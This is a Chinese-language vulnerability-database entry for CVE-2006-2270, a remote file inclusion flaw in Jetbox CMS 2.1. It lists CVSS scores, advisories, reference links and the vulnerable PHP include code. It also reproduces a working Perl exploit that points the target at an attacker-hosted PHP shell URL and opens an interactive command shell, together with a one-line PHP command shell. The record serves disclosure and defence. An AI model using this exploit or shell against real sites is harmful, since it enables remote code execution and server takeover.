CVE-2006-2270
CVSS7.5
发布时间 :2006-05-09 06:02:00
修订时间 :2011-03-07 21:35:51
NMCOES    

[原文]PHP remote file inclusion vulnerability in includes/config.php in Jetbox CMS 2.1 allows remote attackers to execute arbitrary code via a URL in the relative_script_path parameter.


[CNNVD]Jetbox CMS config.php 远程文件包含漏洞(CNNVD-200605-132)

        Jetbox是一款使用php和mysql的内容管理系统。
        jetbox/includes/phpdig/includes/config.php文件未经声明便使用了include()函数中的relative_script_path变量,允许攻击者包含远程资源的文件,执行任意代码。
        漏洞代码:
        if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
         {include "$relative_script_path/locales/$phpdig_language-language.php";}
        else
         {include "$relative_script_path/locales/en-language.php";}
        
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2270
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2270
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-132
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1686
(UNKNOWN)  VUPEN  ADV-2006-1686
http://www.securityfocus.com/bid/17861
(UNKNOWN)  BID  17861
http://www.securityfocus.com/archive/1/archive/1/433121/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060506 JetBox CMS Remote File Include
http://xforce.iss.net/xforce/xfdb/28843
(UNKNOWN)  XF  jetboxcms-phpthumb-file-include(28843)
http://xforce.iss.net/xforce/xfdb/26289
(UNKNOWN)  XF  jetboxcms-config-file-include(26289)
http://www.osvdb.org/25313
(UNKNOWN)  OSVDB  25313
http://securitytracker.com/id?1016061
(UNKNOWN)  SECTRACK  1016061
http://securityreason.com/securityalert/861
(UNKNOWN)  SREASON  861
http://secunia.com/advisories/19993
(UNKNOWN)  SECUNIA  19993

- 漏洞信息

Jetbox CMS config.php 远程文件包含漏洞
高危 输入验证
2006-05-09 00:00:00 2006-05-10 00:00:00
远程  
        Jetbox是一款使用php和mysql的内容管理系统。
        jetbox/includes/phpdig/includes/config.php文件未经声明便使用了include()函数中的relative_script_path变量,允许攻击者包含远程资源的文件,执行任意代码。
        漏洞代码:
        if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
         {include "$relative_script_path/locales/$phpdig_language-language.php";}
        else
         {include "$relative_script_path/locales/en-language.php";}
        
        

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://jetbox.streamedge.com/

- 漏洞信息 (1761)

Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit (EDBID:1761)
php webapps
2006-05-07 Verified
0 beford
N/A [点击下载]
#!/usr/bin/perl
############
# JetBox CMS Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>
# 		perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable 
# relative_script_path in a include() function without being declared. 
# This issue has already been fixed in phpdig, but jetbox still uses a 
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while()
{
	print "[shell] \$";
	while(<STDIN>)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent->new() or die;
		$req = HTTP::Request->new(GET =>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl->request($req);
		$return = $res->content;
		$return =~ tr/[\n]/[ê]/;
		
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nComando Invalido, o no hubo respuesta\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ê]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}

	}

} last;

sub head()  { 
	 print "\n============================================================================\r\n";
	 print " JetBox CMS Remote File Include\r\n";
	 print "============================================================================\r\n";
 }
 
sub usage() {
	 head();
	 print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
	 print " <host> - Full Path : http://host/jetbox/ [remember the trailing slash noob]\r\n";
	 print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
	 print " <var> - var name used in phpshell : cmd  \r\n";
	 exit();
 }

# milw0rm.com [2006-05-07]
		

- 漏洞信息

25313
Jetbox CMS config.php relative_script_path Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Jetbox CMS contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to config.php not properly sanitizing user input supplied to the 'relative_script_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-05-06 Unknow
2006-05-06 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

Jetbox CMS Config.PHP Remote File Include Vulnerability
Input Validation Error 17861
Yes No
2006-05-06 12:00:00 2007-03-08 03:15:00
beford is credited with the discovery of this vulnerability.

- 受影响的程序版本

Jetbox Jetbox CMS 2.1

- 漏洞讨论

Jetbox CMS is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue appears to affect code that is shared by PhpDig, but the discoverer of the vulnerability has stated that the issue has been fixed in PhpDig. It is not known which versions of PhpDig are affected. After further analysis, this issue may be determined to be a PhpDig vulnerability.

- 漏洞利用

Attackers can exploit this issue via a web client.

The following exploit is available:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站